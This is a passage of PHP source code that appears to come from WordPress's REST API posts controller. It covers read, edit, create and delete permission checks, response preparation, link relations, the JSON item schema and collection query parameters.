		if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );
		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		// Is the post readable?
		if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		$post_status_obj = get_post_status_object( $post->post_status );
		if ( $post_status_obj && $post_status_obj->public ) {
			return true;
		}

		// Can we read the parent if we're inheriting?
		if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
			if ( $parent ) {
				return $this->check_read_permission( $parent );
			}
		}

		/*
		 * If there isn't a parent, but the status is set to inherit, assume
		 * it's published (as per get_post_status()).
		 */
		if ( 'inherit' === $post->post_status ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be edited.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be edited.
	 */
	protected function check_update_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Checks if a post can be created.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be created.
	 */
	protected function check_create_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->create_posts );
	}

	/**
	 * Checks if a post can be deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be deleted.
	 */
	protected function check_delete_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'delete_post', $post->ID );
	}

	/**
	 * Prepares a single post output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every post.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			/*
			 * For drafts, `post_date_gmt` may not be set, indicating that the date
			 * of the draft should be updated each time it is saved (see #38883).
			 * In this case, shim the value based on the `post_date` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
				$post_date_gmt = get_gmt_from_date( $post->post_date );
			} else {
				$post_date_gmt = $post->post_date_gmt;
			}
			$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
		}

		if ( rest_is_field_included( 'guid', $fields ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			/*
			 * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments
			 * above). In this case, shim the value based on the `post_modified` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
				$post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
			} else {
				$post_modified_gmt = $post->post_modified_gmt;
			}
			$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
		}

		if ( rest_is_field_included( 'password', $fields ) ) {
			$data['password'] = $post->post_password;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $post->post_status;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $post->post_type;
		}

		if ( rest_is_field_included( 'link', $fields ) ) {
			$data['link'] = get_permalink( $post->ID );
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
		}

		$has_password_filter = false;

		if ( $this->can_access_password_content( $post, $request ) ) {
			$this->password_check_passed[ $post->ID ] = true;
			// Allow access to the post, permissions already checked before.
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );

			$has_password_filter = true;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $post->post_content;
		}
		if ( rest_is_field_included( 'content.rendered', $fields ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content );
		}
		if ( rest_is_field_included( 'content.protected', $fields ) ) {
			$data['content']['protected'] = (bool) $post->post_password;
		}
		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $post->post_content );
		}

		if ( rest_is_field_included( 'excerpt', $fields ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'the_excerpt', $excerpt );

			$data['excerpt'] = array(
				'raw'       => $post->post_excerpt,
				'rendered'  => post_password_required( $post ) ? '' : $excerpt,
				'protected' => (bool) $post->post_password,
			);
		}

		if ( $has_password_filter ) {
			// Reset filter.
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'featured_media', $fields ) ) {
			$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			$data['menu_order'] = (int) $post->menu_order;
		}

		if ( rest_is_field_included( 'comment_status', $fields ) ) {
			$data['comment_status'] = $post->comment_status;
		}

		if ( rest_is_field_included( 'ping_status', $fields ) ) {
			$data['ping_status'] = $post->ping_status;
		}

		if ( rest_is_field_included( 'sticky', $fields ) ) {
			$data['sticky'] = is_sticky( $post->ID );
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			$template = get_page_template_slug( $post->ID );
			if ( $template ) {
				$data['template'] = $template;
			} else {
				$data['template'] = '';
			}
		}

		if ( rest_is_field_included( 'format', $fields ) ) {
			$data['format'] = get_post_format( $post->ID );

			// Fill in blank post format.
			if ( empty( $data['format'] ) ) {
				$data['format'] = 'standard';
			}
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms         = get_the_terms( $post, $taxonomy->name );
				$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$permalink_template_requested = rest_is_field_included( 'permalink_template', $fields );
			$generated_slug_requested     = rest_is_field_included( 'generated_slug', $fields );

			if ( $permalink_template_requested || $generated_slug_requested ) {
				if ( ! function_exists( 'get_sample_permalink' ) ) {
					require_once ABSPATH . 'wp-admin/includes/post.php';
				}

				$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );

				if ( $permalink_template_requested ) {
					$data['permalink_template'] = $sample_permalink[0];
				}

				if ( $generated_slug_requested ) {
					$data['generated_slug'] = $sample_permalink[1];
				}
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the post data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_post`
		 *  - `rest_prepare_page`
		 *  - `rest_prepare_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
	}

	/**
	 * Overwrites the default protected title format.
	 *
	 * By default, WordPress will show password protected posts with a title of
	 * "Protected: %s", as the REST API communicates the protected status of a post
	 * in a machine readable format, we remove the "Protected: " prefix.
	 *
	 * @since 4.7.0
	 *
	 * @return string Protected title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_post( $post->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
			&& ! empty( $post->post_author ) ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $post->post_author ),
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
			$replies_url = rest_url( 'wp/v2/comments' );
			$replies_url = add_query_arg( 'post', $post->ID, $replies_url );

			$links['replies'] = array(
				'href'       => $replies_url,
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
			$revisions       = wp_get_latest_revision_id_and_total_count( $post->ID );
			$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base  = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID );

			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);

			if ( $revisions_count > 0 ) {
				$links['predecessor-version'] = array(
					'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
					'id'   => $revisions['latest_id'],
				);
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );

		if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
			$links['up'] = array(
				'href'       => rest_url( rest_get_route_for_post( $post->post_parent ) ),
				'embeddable' => true,
			);
		}

		// If we have a featured media, add that.
		$featured_media = get_post_thumbnail_id( $post->ID );
		if ( $featured_media ) {
			$image_url = rest_url( rest_get_route_for_post( $featured_media ) );

			$links['https://api.w.org/featuredmedia'] = array(
				'href'       => $image_url,
				'embeddable' => true,
			);
		}

		if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
			$attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) );
			$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );

			$links['https://api.w.org/attachment'] = array(
				'href' => $attachments_url,
			);
		}

		$taxonomies = get_object_taxonomies( $post->post_type );

		if ( ! empty( $taxonomies ) ) {
			$links['https://api.w.org/term'] = array();

			foreach ( $taxonomies as $tax ) {
				$taxonomy_route = rest_get_route_for_taxonomy_items( $tax );

				// Skip taxonomies that are not public.
				if ( empty( $taxonomy_route ) ) {
					continue;
				}
				$terms_url = add_query_arg(
					'post',
					$post->ID,
					rest_url( $taxonomy_route )
				);

				$links['https://api.w.org/term'][] = array(
					'href'       => $terms_url,
					'taxonomy'   => $tax,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Gets the link relations available for the post and current user.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {

		if ( 'edit' !== $request['context'] ) {
			return array();
		}

		$rels = array();

		$post_type = get_post_type_object( $post->post_type );

		if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		if ( 'post' === $post_type->name ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
				$rels[] = 'https://api.w.org/action-sticky';
			}
		}

		if ( post_type_supports( $post_type->name, 'author' ) ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
				$rels[] = 'https://api.w.org/action-assign-author';
			}
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base   = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
			$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;

			if ( current_user_can( $create_cap ) ) {
				$rels[] = 'https://api.w.org/action-create-' . $tax_base;
			}

			if ( current_user_can( $tax->cap->assign_terms ) ) {
				$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
			}
		}

		return $rels;
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'date'         => array(
					'description' => __( "The date the post was published, in the site's timezone." ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the post was published, as GMT.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'The globally unique identifier for the post.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'GUID for the post, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
						'rendered' => array(
							'description' => __( 'GUID for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the post.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'link'         => array(
					'description' => __( 'URL to the post.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'modified'     => array(
					'description' => __( "The date the post was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'modified_gmt' => array(
					'description' => __( 'The date the post was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the post unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'status'       => array(
					'description' => __( 'A named status for the post.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'validate_callback' => array( $this, 'check_status' ),
					),
				),
				'type'         => array(
					'description' => __( 'Type of post.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'password'     => array(
					'description' => __( 'A password to protect access to the content and excerpt.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
			),
		);

		$post_type_obj = get_post_type_object( $this->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$schema['properties']['permalink_template'] = array(
				'description' => __( 'Permalink template for the post.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['generated_slug'] = array(
				'description' => __( 'Slug automatically generated from the post title.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);
		}

		if ( $post_type_obj->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The ID for the parent of the post.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$post_type_attributes = array(
			'title',
			'editor',
			'author',
			'excerpt',
			'thumbnail',
			'comments',
			'revisions',
			'page-attributes',
			'post-formats',
			'custom-fields',
		);
		$fixed_schemas        = array(
			'post'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'post-formats',
				'custom-fields',
			),
			'page'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'page-attributes',
				'custom-fields',
			),
			'attachment' => array(
				'title',
				'author',
				'comments',
				'revisions',
				'custom-fields',
				'thumbnail',
			),
		);

		foreach ( $post_type_attributes as $attribute ) {
			if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
				continue;
			} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
				continue;
			}

			switch ( $attribute ) {

				case 'title':
					$schema['properties']['title'] = array(
						'description' => __( 'The title for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'      => array(
								'description' => __( 'Title for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML title for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'editor':
					$schema['properties']['content'] = array(
						'description' => __( 'The content for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'           => array(
								'description' => __( 'Content for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'      => array(
								'description' => __( 'HTML content for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit' ),
								'readonly'    => true,
							),
							'block_version' => array(
								'description' => __( 'Version of the content block format used by the post.' ),
								'type'        => 'integer',
								'context'     => array( 'edit' ),
								'readonly'    => true,
							),
							'protected'     => array(
								'description' => __( 'Whether the content is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'author':
					$schema['properties']['author'] = array(
						'description' => __( 'The ID for the author of the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'excerpt':
					$schema['properties']['excerpt'] = array(
						'description' => __( 'The excerpt for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'       => array(
								'description' => __( 'Excerpt for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'  => array(
								'description' => __( 'HTML excerpt for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
							'protected' => array(
								'description' => __( 'Whether the excerpt is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'thumbnail':
					$schema['properties']['featured_media'] = array(
						'description' => __( 'The ID of the featured media for the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'comments':
					$schema['properties']['comment_status'] = array(
						'description' => __( 'Whether or not comments are open on the post.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					$schema['properties']['ping_status']    = array(
						'description' => __( 'Whether or not the post can be pinged.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'page-attributes':
					$schema['properties']['menu_order'] = array(
						'description' => __( 'The order of the post in relation to other posts.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'post-formats':
					// Get the native post formats and remove the array keys.
					$formats = array_values( get_post_format_slugs() );

					$schema['properties']['format'] = array(
						'description' => __( 'The format for the post.' ),
						'type'        => 'string',
						'enum'        => $formats,
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'custom-fields':
					$schema['properties']['meta'] = $this->meta->get_field_schema();
					break;

			}
		}

		if ( 'post' === $this->post_type ) {
			$schema['properties']['sticky'] = array(
				'description' => __( 'Whether or not the post should be treated as sticky.' ),
				'type'        => 'boolean',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['template'] = array(
			'description' => __( 'The theme file to use to display the post.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => array( $this, 'check_template' ),
			),
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( array_key_exists( $base, $schema['properties'] ) ) {
				$taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name';
				_doing_it_wrong(
					'register_taxonomy',
					sprintf(
						/* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */
						__( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ),
						$taxonomy->name,
						$taxonomy_field_name_with_conflict,
						$base
					),
					'5.4.0'
				);
			}

			$schema['properties'][ $base ] = array(
				/* translators: %s: Taxonomy name. */
				'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		// Take a snapshot of which fields are in the schema pre-filtering.
		$schema_fields = array_keys( $schema['properties'] );

		/**
		 * Filters the post's schema.
		 *
		 * The dynamic portion of the filter, `$this->post_type`, refers to the
		 * post type slug for the controller.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_item_schema`
		 *  - `rest_page_item_schema`
		 *  - `rest_attachment_item_schema`
		 *
		 * @since 5.4.0
		 *
		 * @param array $schema Item schema data.
		 */
		$schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema );

		// Emit a _doing_it_wrong warning if user tries to add new properties using this filter.
		$new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields );
		if ( count( $new_fields ) > 0 ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: register_rest_field */
					__( 'Please use %s to add new schema properties.' ),
					'register_rest_field'
				),
				'5.4.0'
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the posts collection.
	 *
	 * @since 4.9.8
	 *
	 * @return array
	 */
	protected function get_schema_links() {

		$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );

		$links = array();

		if ( 'attachment' !== $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-publish',
				'title'        => __( 'The current user can publish this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'status' => array(
							'type' => 'string',
							'enum' => array( 'publish', 'future' ),
						),
					),
				),
			);
		}

		$links[] = array(
			'rel'          => 'https://api.w.org/action-unfiltered-html',
			'title'        => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'content' => array(
						'raw' => array(
							'type' => 'string',
						),
					),
				),
			),
		);

		if ( 'post' === $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-sticky',
				'title'        => __( 'The current user can sticky this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'sticky' => array(
							'type' => 'boolean',
						),
					),
				),
			);
		}

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-author',
				'title'        => __( 'The current user can change the author on this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'author' => array(
							'type' => 'integer',
						),
					),
				),
			);
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;

			/* translators: %s: Taxonomy name. */
			$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
			/* translators: %s: Taxonomy name. */
			$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );

			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-' . $tax_base,
				'title'        => $assign_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);

			$links[] = array(
				'rel'          => 'https://api.w.org/action-create-' . $tax_base,
				'title'        => $create_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 4.7.0
	 * @since 5.4.0 The `tax_relation` query parameter was added.
	 * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_after'] = array(
			'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$query_params['author']         = array(
				'description' => __( 'Limit result set to posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['author_exclude'] = array(
				'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
